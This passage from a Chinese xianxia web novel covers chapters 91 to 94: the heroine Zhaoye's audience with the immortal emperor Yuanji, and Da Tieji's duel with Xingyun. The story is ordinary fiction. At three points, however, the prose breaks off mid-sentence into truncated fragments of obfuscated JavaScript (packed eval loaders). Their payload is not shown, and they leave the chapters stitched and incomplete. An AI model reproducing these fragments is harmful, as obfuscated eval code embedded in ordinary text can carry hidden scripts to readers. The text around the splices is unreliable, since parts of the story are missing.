尾巴飘在一旁,将我这大作逐字“读”了一遍,光晕嫌弃地晃了晃,“妈呀……好歹也是啃过十万卷书的人,这文笔……嗯,真是返璞归真,俗得别致。” 我倒颇为自得,“就是要写成这样!才好麻痹敌人,让他觉得我不过是个脑袋空空的莽撞笨蛋,免得他心生警惕不敢来,咱们的酒岂不是白酿了?” 宏音含笑望着我,眼中带着一丝倦懒的赞许,“我倒觉得写得极好。星允……会相信照夜能干出‘刻石以告三界’这般幼稚又执拗的事。” “呃?”我一愣,“你能听到尾巴说话?” 对于我的疑问,宏音只是微微撇嘴,将身子更深地陷进枕头里,眼帘缓缓垂下,“自然听不见。但不妨碍我自行想象、推断一番。再者……”他的声音渐低,几近呓语,“能听见尾巴说话,未必是件好事……当然,照夜,你除外。” 宏音睡得极沉,被我戳了好半晌都毫无反应。我和尾巴甚至偷偷商量,要不要给他画个大花脸,让这位乐在其中的“爹”,也体验一下“熊孩子”的烦恼。 时光倏忽而过。就在约战前夜,变故陡生。 就在我照例与尾巴窝在暖被里进行“睡前悄悄话”仪式时,被子又一次被人猝然掀开。 可恶!天翮族的传统习俗难道是掀人被子吗?! 然而这次,立在床边的并非企图“没收”尾巴的宏音,而是——月终。 她一言不发,直接将我拎了起来,近乎粗暴地洗净、擦干、套上一身素净衣裙,旋即不容分说地将我塞进了门外候着的马车。 夜色深沉,微雨凄迷。一向四季温润的天翮城,似乎正经历着前所未有的漫长寒雨季。 马车最终停在玉轮湖畔。一队银甲森然的仙军默然伫立,星允抱臂立于队前,正冷冷盯着我走近。沿着湿漉漉的湖岸行走时,我心中还暗自遗憾,怪这糟糕的天气,我一直未能得见玉轮湖沐月的神迹。尾巴此时轻轻扯了扯我的长发,示意我抬头。 只见天际,那座粉色的瑶扇城,竟已突兀地高悬于墨色的云层之上。 我心头猛地一沉。 可恶……渊寂,竟然提前到了。 “上去。仙帝召见。”星允的声音干涩冰冷。他自上次挨了我一记铁拳后,眼眶处还隐约留着未散尽的乌青。 我跨上等候的飞兽,忍不住追问,“我的战书,你收到了吧?” “嗯?”星允眉头一皱,“什么战书?” 我心中骇然!战书竟未送到星允手上?不对,我明明再三叮嘱汀汀务必送达……难道—— 我猛地回首,看向马车边面无表情的月终。是她!这位信女掌事,中途截下了我的战书。 月终迎上我的目光,脸上毫无波澜,只是抬手拍了拍飞兽。飞兽振翅而起,载着我,径直朝着云端那座光华温润的扇城飞去。 夜雨未歇,天幕如浸透的浓墨。唯有那柄承载城池的瑶扇在云层间舒展着玉石般的光华。这是我第一次亲临扇城之上,此间亭台楼阁皆仿嵊风殿制式,极尽雕琢,朴致无双。 整座城池静栖于巨大的扇面之上。琉璃瓦、白玉栏、镂花窗棂皆被连绵雨丝洗得清亮冷冽。万千灯火自重重楼阁深处渗出,却在氤氲的水汽与云雾中晕染成一片朦胧恍惚的光雾,恍如一颗被精心包裹在琉璃中的孤寂星辰。灵泉沿扇骨状的沟渠蜿蜒流淌,雨珠坠落其中,漾开细碎涟漪,与城中弥漫的云霭无声交融,使得那些玉桥、亭台与珍奇仙植的轮廓,都变得柔和而梦幻,不似真实。 此刻万籁俱寂,唯有雨珠击打飞檐玉瓦的淅沥声,反衬得这座扇上仙城愈发幽邃清绝。城心处,仙帝渊寂的宫阙静默矗立,檐下悬着的宫灯在潮湿夜风中轻轻摇曳,在光洁如镜的石板上投下破碎而游移的光斑。一切都静得令人恍惚,仿佛时间在此凝滞。 宏音已在正殿前的玉阶下等候。见我走近,他未多言,只极低地叮嘱了一句,“谨言慎行。那是仙帝。” 我自然知晓分寸,不会在此时顶撞渊寂——毕竟穆青的计划还需一些时间完成,此刻绝不能节外生枝。 然而,目光所及之处,尽是面无表情、甲胄森然的仙军与低眉顺目的仙婢,如同没有生命的玉雕,无声地布满廊庑与角落。这无处不在的肃杀与威仪,让我的呼吸不由自主地收紧,脚步也迟滞下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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渊寂的嘴角似乎极细微地弯了一下,那笑意若有若无,淡得几乎像是错觉。他的目光从我身上移开,缓缓投向远处垂手侍立的宏音,声音融入从雕花长窗外飘洒而入的、细密的雨声中,“宏音,驱散落雨。太吵了。” “……是,帝君。” 我能感觉到宏音的身体几不可察地绷紧了。他并未立刻动作,我知道他在等,在用沉默等我一同离开。 “怎么?”渊寂的目光重新落回我身上,那淡淡的语气里,却仿佛带着千钧之力,“舍不得这个小家伙?” “回禀帝君,”宏音依旧恭敬地低着头,声音却平稳清晰,半步不退,“时辰已晚,照夜该睡觉了。” “师父!”一旁的星允猛地踏前一步,语气中带着毫不掩饰的轻蔑与煽动,“这等目无尊上之徒,先前私自损毁百目仙人的法眼,便该押入地刑司问罪!如今更胆敢布下这窥探帝踪的脏雨,实在罪该万死!” 我紧紧攥住了拳头,指甲深深陷进掌心,喉头干涩发紧。藏在我耳后的尾巴,此刻紧紧攥着我的几缕发丝,温热的光晕紧贴着我跳动的颈脉,仿佛在竭力安抚我体内因紧张而隐隐躁动的仙力。 我用力深吸了两口气,压下喉头的颤抖,听到自己用尽力维持平稳、却仍泄露出一丝颤音的声音说道,“帝君,宏音大人……并非窥探。他借雨水感知,是为了探查深埋于天翮城地下的怪物卵壳。水自天降,渗入尘土,方能有一丝机会定位那些藏匿极深之物……哪怕希望渺茫,也总得一试。只是这雨附着力过强,无意间消解了百目仙人的法眼,确是无法周全的意外。” 说着,我再次跪下,甚至膝行着向前蹭了蹭,鼓起此生最大的勇气,仰头迎上渊寂那双深不见底、带着审视与玩味的眼眸,“前几日,我不慎跌入地底深处,侥幸发现了一枚仍在深眠、尚未孵化的怪物卵壳。帝君,或许这样的东西,在这翮山之下还埋藏着无数。若不及时找出、消灭,只怕迟早……会重演归德城的惨剧——” “师父!”星允急声打断我,脸上布满阴霾,“此女当时在归德战场便行为诡异,险些害得仙军阵前溃败!此事,星允正欲详细禀报——” 92. 第92章 照夜告大状! “行了。”渊寂轻轻两个字,并不响亮,却像一道无形的冰墙,瞬间截断了星允所有后续的话语,也让整个大殿的气温骤降。 渊寂目光微垂,落在我极力仰起的脸上,片刻的沉默后,才淡淡道,“都下去吧。” “帝君!”我心一横,不管不顾地磕下头去,急切道,“罪民还有一事相求!先前……星允上仙曾对我意图不轨,我心中屈辱难平,故而请来‘醉仙’助阵,约定明日于苦修崖决斗,了断此事!您既已驾临,可否……可否莅临观战,主持公道?” 星允闻言,本就因受伤而苍白的脸色,瞬间又灰败了几分,他嘴唇翕动,似是想辩解什么,却在渊寂那无波的目光下,硬生生将话咽了回去,只余眼中一闪而过的惊怒与慌乱。 很显然,星允没料到我竟敢当着渊寂的面告大状。 “帝君,当日之事,宏音可为佐证。”宏音的声音在一旁沉静响起,“星允上仙身为玄珠首席,更是您座下大弟子,为图照夜体内仙丹之力,竟行此强取豪夺之举……实在令人齿冷。还请帝君主持公道。照夜虽身份微末,亦不该受此折辱。何况……她与青莲仙人,情谊匪浅。” “师父!他们撒谎——!”星允急切地跨前半步,声音因慌乱而略显尖利,“当日、当日徒儿只是……酒后失态!怎可能对这——” 星允的话戛然而止。 并非被人打断。一股无形的、冰冷刺骨的寒意,毫无征兆地擦着我的鼻尖掠过,快得甚至没有留下一道模糊的残影。 我惊恐地望向那寒意袭去的方向—— “咚!!!” 一声沉闷到令人牙酸的巨响。 只见星允整个人如同被一只看不见的巨拳狠狠抡中,炮弹般向后倒飞出去,重重撞在数十步外坚硬的殿壁之上,竟硬生生砸出一个浅坑,蛛网般的裂痕瞬间蔓延。 星允摔落在地,猛地喷出一口鲜血,染红了胸前的衣襟。他勉强用手肘撑起上半身,另一只手死死捂住凹陷下去的胸口,脸上血色尽褪,只剩下因剧痛和深入骨髓的恐惧而引发的、无法抑制的细微颤抖。 然而,自始至终,没有任何人看见渊寂抬手,甚至未曾察觉他周身仙力有半分波动。仿佛那只是掠过殿内的一阵穿堂风,顺便……捏碎了一只聒噪的虫豸。 “下去备战。”渊寂的声音再度响起,依旧平淡,听不出丝毫火气,“若输,便将玄珠首席之位让出来。” “星……星允……遵……遵命……”地上的人艰难地挤出几个字,每一个音节都带着血沫摩擦的嘶哑。星允几乎是用爬的姿势,踉跄着、艰难地挪出了大殿,再不敢回头看一眼。 空旷、冰冷、弥漫着淡淡血腥气的大殿,很快只剩下我和御座之上那位玄色的身影。我僵硬地跪在原地,膝盖传来针刺般的疼痛,却不敢稍动。过了许久,我才鼓足一丝勇气,极其缓慢、小心地抬起头,朝那个半晌再无动静的男人望去。 渊寂仍在打量我。 那目光赤裸、锐利、毫不掩饰,好似在试图一层层剥开我的皮囊。那眼中没有丝毫属于“师长”或“帝君”的威严与教化,只有一种纯粹而张狂的审视,以及那深处翻涌着的贪婪与兴味——与他以“柑洱先生”的假面初次见我时,如出一辙。 “你还不能很好和仙丹的力量共存,甚至——因没有灵关窍,不懂如何主动收纳束缚仙力,照夜,若往后都仅凭‘本能’战斗,可能会更需要气运,而非单纯的力量。” 不愧是当过教书先生的仙人,突然莫名其妙向我授起了课。 我用力眨了眨眼,压下心头的惊悸,努力扮出一副虚心受教的好学生模样,“是……我会、会勤加修……修炼。若有不懂之处……再来向您请教。” “如何?”渊寂微微倾身,那无形的压力也随之倾轧而下,“见证了何为‘命定’,可认输了么?” 我心头猛地一刺。昔日坐忘矶上,我与穆青并肩站着,最后一次面对渊寂时的记忆,再次翻涌而上。 我们没有赢过那所谓的“命运”。我们的无知与莽撞,并没能阻止这场绵延至今、仍未止息的战争。 可生而为人,总要学着去抗争、去挣扎、去撞得头破血流、去尝遍失败和溃退的滋味,若不然,又能怎样呢。 “啧,”渊寂似乎看穿了我眼中瞬间翻腾的情绪,发出一声轻啧,那声音里竟含着一丝奇异的好奇,“果然还是个孩子。这眼睛里有不甘,有难过,还有一丝不肯熄灭的坚持。”他忽然俯身,修长冰凉的手指捏住了我的下巴,迫使我更近地迎上他那仿佛能吞噬一切光亮的眼眸,“真是……漂亮的颜色。” 渊寂的指尖力道不重,却带着不容违逆的掌控感,仿佛要透过瞳孔,直接探入我意识的深处,攫取那份连我自己都未必全然明了的“本真”。 “罢了。”渊寂忽地松开手,重新靠回宝座,“青莲已幡然醒悟,你迟早也会。不急于一时。”他的唇角勾起一抹极淡的、难以捉摸的弧度,“吾不喜欢唯命是从、又心思摇摆的学生。你恰好不是,照夜。” 我暗自松了口气,小心翼翼试探着问道,“那帝君,我能……回去睡觉了么?明天……还要去决斗。” “吾来早了些。”渊寂目光投向殿外无边的夜色与雨幕,“原是想看看,天翮族此次,又会选出怎样的圣女。”他的视线落回我身上,“也罢,明日既无事,便同去观战。也瞧瞧这又一个‘醉仙’的本事。” 渊寂缓缓起身,一步步走下冰冷的玉阶。 我悬着的心刚要落下,以为终于得以脱身—— 却不料,渊寂已行至殿门处的身影微微一顿,并未回头,只有那低沉平静的声音,清晰地飘了回来,“照夜,今夜宿在此处。明日随吾同往。” 这一夜,我躺在陌生的,过于宽大的床榻上,睡意全无。每每将要沉入梦境,便会被一丝细微的声响或心头骤然的惊悸猛然拽醒,如此反复,折腾到后半夜,我终于忍不住将身边呼呼大睡的尾巴晃醒。 尾巴迷迷瞪瞪地凝聚光晕,竟做出一个类似“揉眼睛”的动作,让我第一次隐约“看”到了他拟态出的“上半身”轮廓。 “天都快亮了……赶紧睡觉吧。”尾巴的声音里满是被吵醒的困倦。 “你怎么能睡得着啊,尾巴!”我缩进被子里,压着嗓子道,“我怕我一闭上眼睛,渊寂就要把我抓去炼丹!你忘了?在魔界时,他可没少提这种‘建议’!” 尾巴打了个长长的、无声的“哈欠”,光晕懒洋洋地摊开,“安啦……这不有舒岸的站岗么,晶盾会自动反应。别一惊一乍的,哈——好困……” 话音未落,那团光便又软绵绵地瘫在我脸颊旁边,以匪夷所思的速度再次沉入“梦乡”。留下我独自瞪大眼睛,望着华丽床帐顶部的繁复刺绣,捱到窗纸透出青灰色,也未曾合眼。 次日,天色阴沉如旧。我活像霜打的茄子,蔫头耷脑,全无精神。前来觐见仙帝的宏音,状态也没好到哪里去,眼下泛着淡淡的青黑,显然也是一夜未眠。 在飞兽起降平台前,趁着仙军远远监视的间隙,宏音终于得以与我单独说上两句话。 “可有为难你?”宏音声音很低,且迅速将我打量一遍。 我摇摇头。平心而论,渊寂从未苛待我。当然,此人城府深不可测,所图绝非表面这般简单,对他竖起一百八十道心防都不为过。 “仙帝来得突然,”宏音难得地紧锁眉头,似乎回想起昨夜星允被无形之力重创的一幕,眼中忧色与忌惮交织,“或许……并非全为圣女选拔之事。照夜,务必小心,明白么?” 我瘪瘪嘴,心里忽然涌起一阵奇异的感受——此刻我竟觉得,在聆音石府被迫接受宏音那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……啊?”我一时愕然,脱口而出,“难道不是……您安排她参选的么?” 话一出口,我便恨不得咬掉自己的舌头。然而,渊寂的反应却出奇坦然,甚至带着点被逗乐的意味,他微微偏头,看向我,“照夜,在你眼里,吾便如此清闲?” 我小声嘀咕了一句,“您毕竟……还有闲情逸致在映山都教书呢……” “还记得吾曾与你谈过,百年前那场大战么?” 我自然记得。那时,渊寂曾言,他也不明白为何会为区区熠石,爆发那场绵延十年的仙魔血战。如今,关于那场大战的真相碎片虽已逐渐浮现,却没有任何一本史册敢于载入。三界众生,大多仍被蒙蔽,无从窥见那血色帷幕后的实情。 渊寂的目光投向不断向后飞掠的茫茫云海,声音融入呼啸而过的冰冷气流中,“仙、人、魔三界,本不该起战端。至少,不该为毫无意义之事兵戎相见。”他顿了顿,仿佛在回忆什么久远的画面,“吾之所以在映山都驻足,不过是想……亲眼见证一片被战火焚为焦土之地,如何能重新长出草木,焕发生机。” 说着,渊寂侧首望来。那双总是幽深平静的眼眸,此刻在流动的天光云影映照下,显得愈发莫测。那眼底深处,仿佛栖居着某种超越了情绪的存在——没有喜怒,没有波澜,仅仅是一对纯粹为了观察与记录而存在的“眼睛”,漠然俯瞰着世事更迭,仅此而已。 “熟悉青莲山一草一木的你,应当能体会……见证一棵幼树破土而出时,那份纯粹的生命之悦吧,照夜。” 蜷缩在青莲瓶中的尾巴,传来一阵极其微弱的波动,仿佛是一声无声的警示,又似一句模糊的呢喃,“照夜……别信他说的任何一句话。” 我定了定神,没有直接回应渊寂关于“新生”的话语,而是看似突兀地接道,“如今映山都有了魔皇,魔族会再次强盛起来的。” 有趣的是,渊寂竟从我这句有些“牛头不对马嘴”的应答里,准确捕捉到了那层未言明的深意:别想再借怪物肆虐之名,图谋染指魔界疆土。 93. 第93章 大铁棘大战星允 渊寂嘴角那抹似有若无的弧度,似乎加深了些许,“看来,你我之间,尚需几次深入的交谈,方能解开某些不必要的误会,照夜。” 面对渊寂那看似温和、实则莫测的微笑,我抬起脸,努力回以一个同样“真诚”的笑容,将所有的警惕与防备都掩藏其后,“只要帝君您得空,照夜我……必定潜心向您‘请教’。” 苦修崖,位于天翮城东侧,其名不虚。 这是一片广袤而黝黑的平崖,岩面光滑如镜,寸草不生,仿佛曾被九天雷火反复淬炼、煅烧,最终凝结成这片永恒的死寂之地。高处,永无止息的风如巨兽嘶吼,狂暴地刮过崖顶平台,卷起细微却锋利的黑色石砾,打在脸上生疼。 立于崖边向下俯瞰,是令人目眩心悸的茫茫云海,深不见底。而在极东方向,透过厚重云层偶尔撕裂的缝隙,能遥遥望见那道分隔仙凡两界的巨大天涧,以及从天涧尽头垂落、声震九霄的万丈瀑布。那瀑布犹如自银河决堤倾泻,轰鸣之声响彻天地,与此地永恒的荒芜死寂,形成了惨烈而壮阔的对照。 多日未见,大铁棘依旧“大”得极具分量——尽管仙力被我吸去不少,但那铁塔般的身躯未见丝毫缩水,依旧肌肉虬结,气血雄浑。他仍背着那只标志性的硕大酒葫芦,只是此刻葫芦里盛装的,乃是宏音耗费心神、以纯水仙力精心封存的“超级无敌加强版醉仙酒”,一滴,便足以引发山崩地裂。 星允也已到场,依旧一袭纤尘不染的银白仙袍,身姿挺拔。只是那张脸上惯有的倨傲冷漠中,掺进了一丝不易察觉的苍白与紧绷——昨日渊寂那无形一击,显然让他伤得不轻,状态绝非完满。当然,既是约战,我自不会在意这等“瑕疵”,反倒觉得……甚好。 今日的观战者寥寥,却分量极重:渊寂、宏音、瑶扇、负伤未愈的溟牙,以及我。 “拜见帝君。”大铁棘到底是正经位列仙班之人,虽性情粗豪,礼数却丝毫不缺。他朝着渊寂所在的方向,郑重叩拜,直到渊寂微微颔首,才起身肃立。 “听闻你此举,是效仿‘醉仙’方有之行侠之风,要为照夜讨个公道?”渊寂立于崖边,玄袍在狂风中纹丝不动,嘴角噙着一丝难以捉摸的淡笑。 大铁棘拱手,声如沉钟,坦荡直言,“回禀帝君!我自幼便以醉仙前辈为楷模,立志行侠仗义,平世间不平事!然今日,不敢隐瞒帝君——除却为照夜讨回尊严,我亦要借此机会,为我的姐姐……报仇!” “……姐姐?”渊寂眉梢微挑,目光转向一旁垂首默立的溟牙。 溟牙因伤势未愈,脸色依旧苍白,尖瘦的下颌紧绷着,几乎要戳进衣领。他不敢怠慢,低声回禀,“师尊容禀。大铁棘的胞姐铁棘仙人,先前因未能及时应召令撤离玉山驻地,被大师兄……施以鞭刑惩戒。” “帝君!”我忍不住抢前一步,急声道,“小铁棘当初是为了协助舒岸将军,稳固玉山屏障,才延误了时辰!虽有过失,却也情有可原——” 话音未落,我便感到衣袖被宏音不动声色地拽住。他目光依旧紧紧锁在渊寂身上似乎在观察其一举一动。 渊寂并未因我的插话而动怒,只是将目光从溟牙身上移开,重新落回大铁棘那如山岳般沉稳又决绝的身躯上。片刻沉默后,他轻轻挥袖,声音淡然,“罢了。开始吧,大铁棘。便遂了你的心愿。”他缓步走向更开阔的崖边,仿佛眼前的生死对决不过是一场即将上演的戏码,“也让吾瞧瞧……新生一代的仙人,究竟有几分本事。” 得到这最终的许可,大铁棘不再多言,朝着渊寂深深一揖。随即,他猛然转身,怒目圆睁,望向对面那袭银袍身影,胸腔中挤压已久的怒火与战意轰然爆发,化作一声震动山崖的雷霆怒喝,“星允——!为你做下的恶事,偿债来吧!!” 话音未落,大铁棘脚下猛然发力,黝黑坚硬的岩石竟被踏出蛛网般的裂痕!他那铁塔般的身躯没有半分花哨,如同出膛的炮弹,挟着纯粹、霸道的蛮力与速度,直冲星允! 星允眼神骤然一凝,身形如鬼魅般向后飘退,同时双掌翻飞,一道道凝练至极的银色仙力鞭子如毒蛇出洞,撕裂空气,精准地拦截、击打在大铁棘前冲的每一处落点上! “砰!砰!砰!” 沉闷的撞击声接连炸响。然而,那些足以开碑裂石的仙力轰击在大铁棘古铜色的皮肤上,竟只发出金铁交鸣般的铿锵之声,留下些微不足道的淡淡白痕,根本无法迟滞其分毫!大铁棘苦修多年的肉身,早已坚逾百炼精钢,寻常仙力攻击,早已难伤其根本! 我的心瞬间提到了嗓子眼,下意识地攥紧了身旁宏音的手。他的掌心温热,只是反手将我的手握得更紧些,目光却如鹰隼般,死死锁定在战圈之内。 电光石火间,大铁棘已冲破拦截,欺近星允身前!只见他钵盂般大小的拳头撕裂空气,带着刺耳的尖啸,毫无花巧地直砸对方面门!星允仓促举臂格挡—— “嘭!!!” 一声闷雷般的巨响! 星允被一股排山倒海、无可抵御的蛮横巨力顺着双臂狠狠撞入体内,只见他他闷哼一声,整个人竟不受控制地向后倒滑出去十数丈远,脚下在黝黑的岩面上犁出两道触目惊心的深沟! 星允脸上那惯有的、不可一世的从容终于彻底消失,取而代之的是一抹难以掩饰的惊愕与迅速弥漫开来的阴沉。贴身近战,纯粹的力量碰撞,他这个素来仰仗精妙仙法与高阶仙器的玄珠首席,竟完全落入了下风! 然而星允毕竟是渊寂的大弟子,虽惊不乱。他凭借远超对手的敏捷与速度,在方寸之地腾挪闪转,双臂化作残影,格、挡、卸、引,竭力化解着大铁棘那如同狂风暴雨般袭来的沉重铁拳。一时间,崖顶平台上只有两道模糊的身影在高速交错,拳风与衣袂破空之声尖锐刺耳,搅得烈风更加混乱。 “仙人修仙,首重修的是肉身。”渊寂负手立于崖边,玄袍在狂风中猎猎作响,声音却清晰平和地如同在讲授一堂修行课,“若只一味追求拓展量海、凝铸法器,不过是舍本逐末,缘木求鱼。唯有筋骨强健、气血充盈的肉身,方能成为完美无瑕的‘容器’,去真正承载并驾驭……强大的力量。” 我此刻额头已渗出冷汗,闻言只得讪讪一笑,小声接话,“帝君……您看我这身板,还有……修炼的必要么?” 渊寂竟低笑一声,目光从激战中移开,旁若无人地落在我脸上,“怎么,想拜吾为师了?” 这话一出,最先惊诧的反而是一直默然旁观的瑶扇仙人,她抿抿嘴唇,露出一个“我是不是听岔了”的表情。 “还、还是算了……”我连忙摆手,故意摆出一副惫懒模样,“我爱睡懒觉,起不来床,现在更是跑几步就喘,整日里只想躺着不动。” “哈哈,那便再议。”渊寂笑意未减,目光转回战场,“接着看吧,照夜。” 那一头,短暂而激烈的近身缠斗已过数十回合。伴随着又一次硬撼后的闷响,两道身影倏然分开,各自退开数丈。大铁棘古铜色的皮肤上蒸腾起淡淡的热气,星允虽姿态依旧挺拔,但呼吸也明显急促了几分,额角隐见汗光。 “哼,徒有蛮力的莽夫!”星允冷声讥讽,眼神却愈发冰寒。他手腕陡然一抖—— “咻!” 一道森冷银光自其袖中激射而出,迎风便长,赫然是那条精心炼制、带着尖刺的本命法器——逐星鞭! 长鞭如有生命般在空中夭矫扭动,划出道道刁钻狠辣、难以捉摸的轨迹,鞭梢破空,发出刺耳欲聋的尖啸!因其速度实在太快,竟在半空中交织成一片密不透风的暗银色鞭影之网,如同一个不断收缩、绞杀的球形领域,瞬间将大铁棘魁梧的身影笼罩在内! “啪!啪!啪!” 蕴含着穿透性仙力的鞭影,如暴雨般抽打在大铁棘身上!这一次,不再是浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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渊寂闻言,嘴角微弯,目光似有若无地扫过宏音那藏于袖中、正与我紧握的手,“宏音,论及对仙力操纵之精微细腻,同辈之中,无人能出你之右。便是青莲欲达此境,恐也仍需百年苦功。” 我心中愕然,不由侧目看向身旁这个总爱向我“支付报酬”、看似有些不着调的聆月使——他竟如此厉害? “承蒙帝君谬赞。”宏音神色不变,恭敬应道。 就在这时,浑身浴血、仿佛从血池中捞出来的大铁棘,终于在那令人眼花缭乱的鞭影中,锁定了星允真身最细微的移动规律!他不再被动承受,而是咬紧牙关,喉咙里发出低沉的怒吼,竟然顶着愈发密集狂暴的鞭笞,一步、一步,如同踩碎脚下岩石般,坚定而沉重地再次向星允逼近! 长鞭撕裂皮肉,鲜血飞溅,却无法让大铁棘倒下,反而如同最残酷的锻锤,将他心中为姐姐讨个公道的火焰锤炼得愈发炽烈、凶悍! 久攻不下,反被一个“徒有蛮力”的散仙逼至如此狼狈境地,星允眼中最后一丝理智终于被狂怒吞噬。他身形猛然向后暴退,凌空悬浮,原本俊美的面容因极致的戾气而扭曲,再不见半分从容。 大铁棘见状,布满血污的脸上,竟缓缓咧开一个近乎狰狞、却又透着一丝“计划得逞”的笑容。 激将之法,为的便是逼出绝招。为此,承受些伤痛,值得! 星允身为玄珠首席,若在师尊、师弟乃至我这“仇敌”面前,连收拾一个“无名小卒”都如此吃力,颜面何存?他必定会祭出那赖以成名的杀招——而这,正是那坛“酒”,最佳的用武之时! “可恶……竟敢如此小觑于我?!”星允长啸一声,声音因狂怒而尖锐,“万星归尘——给我死!” 一股令人毛骨悚然的危机感骤然降临!宏音反应极快,一把将我拽至身前。只见他周身那无形的纯水仙力瞬间沸腾,无数细微到极致的水滴震颤、疾旋,在我们头顶交织成一面剔透无色、却坚实无比的水华伞盖,将我们牢牢护在其下。 不远处的瑶扇仙人与溟牙早已默契地飞身远退,避开即将爆发的毁灭风暴。 唯有渊寂,依旧岿然不动地立于原地,玄袍在骤然变得狂暴紊乱的气流中纹丝不动,仿佛眼前的一切,不过是拂面微风。 94. 第94章 加强版醉仙酒的威力 心脏狂跳如擂鼓,我死死盯住场中,仿佛能从那呼啸的狂风中,捕捉到愤怒、不甘、决绝,以及一丝……深藏的胆怯。 只见星允双臂豁然张开,声如雷霆乍破!苦修崖上方的空间骤然扭曲、塌陷,连呼啸的风都仿佛被瞬间抽空、凝固!下一瞬,无数粘稠、炽热、散发着不祥暗银色光芒的“星辰”,凭空涌现! 它们不再是虚幻的光点,而是如同融化的琉璃与熔金混合而成的实体,大小不一,拖着粘腻灼热的尾焰,铺天盖地,朝着下方的大铁棘倾泻、砸落! 更为恐怖的是,这“糖稀星雨”并非全然直线坠落。它们仿佛拥有某种诡异的生命,带着恶毒的吸附性,于半空中便主动扭曲、缠绕、聚合,如同嗅到血腥的蛭群,疯狂地扑向大铁棘! “嗤——!” 一滴粘稠的暗银“糖稀”溅落在大铁棘脚旁黝黑的岩石上。瞬息之间,坚硬如铁的岩石竟被蚀出一个碗口大的坑洞,那糖稀牢牢粘附其上,持续发出令人头皮发麻的“滋滋”灼烧声,滚滚刺鼻的青烟腾起! “大铁棘——!”我忍不住失声惊呼,那瞬间迸发的毁灭景象让我的心脏几乎停止跳动。 “冷静,照夜。”宏音的声音压得极低。他竟迅速从我腰带上拽下青莲瓶,一把塞进自己衣襟深处——是怕我体内仙力受激失控!我全身的肌肉都绷紧了,连呼吸都变得极其缓慢、微不可闻。 那一端,面对这足以将整座山崖化为炼狱的恐怖糖稀星雨,大铁棘却如山岳般岿然不动。他仿佛……就在等待这一刻! 只见大铁棘猛地拔开腰间那硕大的酒葫芦塞子,毫不犹豫地将宏音耗费心神炼制的“酒之精元”一饮而尽!紧接着,他仰天发出震撼四野的怒吼,那吼声中饱含着压抑太久的愤怒与决绝—— “星允——!尝尝这焚心蚀骨的滋味吧!” “噗——!” 大铁棘张口喷出的,竟不再是液体,而是一道被极致压缩、近乎无形无色的高浓度纯酒洪流!这道洪流逆冲苍穹,在与第一波暗银粘稠的“糖稀”接触的刹那—— “轰隆!!!” 仿佛万钧雷霆在崖顶轰然炸裂!大铁棘以自身的仙力为引,悍然点燃了这道洪流! 没有过程,只有结果。 一片纯净到极致、炽白到无法直视的恐怖火海,瞬间诞生!它如同倒卷的九天烈焰银河,以焚尽八荒、净化一切之势,将大半个阴沉的天幕彻底吞噬、点燃! 火焰的温度高到超乎想象,空气被烧得扭曲、沸腾,发出近乎真空的尖锐嘶鸣。狂暴的热浪化作冲击波,混合着刺鼻的焦灼气息,向四周疯狂扩散!若非宏音早已张开纯水伞盖,并将我牢牢护在身前,即便以我现在的身板儿,恐怕也会被瞬间掀飞。 然而,渊寂依旧稳若磐石地立于原地。更令人心底发寒的是,那些原本无序砸落、如同活物的粘稠糖稀星团,在接近他周身数尺范围时,竟诡异地绕行、避让,仿佛失去了所有活性与威胁,最终无力地坠落在地,化为一滩滩普通的、黯淡的胶状物。 我还来不及细思这令人悚然的一幕,耳畔便已被另一种声音充斥—— “嘶嘶嘶——!!!” 那是粘稠糖稀被纯净白焰灼烧时发出的、凄厉到仿佛源自灵魂本源的尖啸!令人震惊又期盼的场景呈现了:那些足以蚀骨熔金的暗银粘液,在这片净化一切的炽白烈焰中,以肉眼可见的速度褪色、焦黑、干瘪、碳化!前一刻还是液态的致命威胁,下一秒便化作了漫天飘飞的、松脆的黑色灰烬,如同下起了一场只有残骸的灰雪! “呃啊——!” 仙法被蛮横破去,星允自身亦遭反噬,闷哼一声,周身仙力陡然溃散,从半空中踉跄坠落,“咚”地一声重重砸在焦黑的岩石上。他那身纤尘不染的银袍此刻已变得破烂焦黑,更可怕的是,原本附着在他体表、用作防御与增幅的“糖稀盔甲”,此刻却成了索命的诅咒——焦化碳化的甲壳死死粘附在他的皮肉之上,如同烧红的烙铁,持续不断地灼烧、侵蚀着他的身体! 而就在这漫天炽白烈焰与黑色灰烬疯狂交织、飞舞的背景之下,一道浑身浴血、却仿佛燃烧着不屈灵魂的身影,动了! 是大铁棘! 他浑身上下缭绕着未曾散尽的白色余火,裸露的皮肤布满焦痕与深可见骨的撕裂伤,鲜血与焦黑混杂,触目惊心。但他仿佛已彻底感知不到疼痛,那双铜铃般的眼睛里,燃烧着的是比这焚天酒火更炽烈、更奔腾的——积压了无数日夜的血仇与怒焰! “星允——!!!” 大铁棘从胸腔最深处迸发出一声撕心裂肺、足以震裂山石的咆哮!脚下焦黑的岩石应声炸裂,只见他的身躯化作一道撕裂重重灰烬之雨的赤色流星,速度快到只在空中留下一道模糊的、带着火焰与血气尾迹的残影,以最决绝、最狂暴的姿态,冲向那个挣扎起身的银袍身影! 几乎是星允刚刚跌落、身体还在岩石上弹震的瞬间,大铁棘那庞大如山的身影,已携着无与伦比的冲击力与滔天恨意,如同陨星坠世般,赫然出现在对方眼前! 那只燃烧着余烬、皮开肉绽、深可见骨的巨拳,裹挟着为姐姐复仇的决绝,没有丝毫犹豫,在星允挣扎着试图摆脱胸前焦黑粘附物的电光石火间,急速迫近—— 我竟不知,血肉之躯的拳头,也能发出这样的声响。 “嘭——!!!!!” 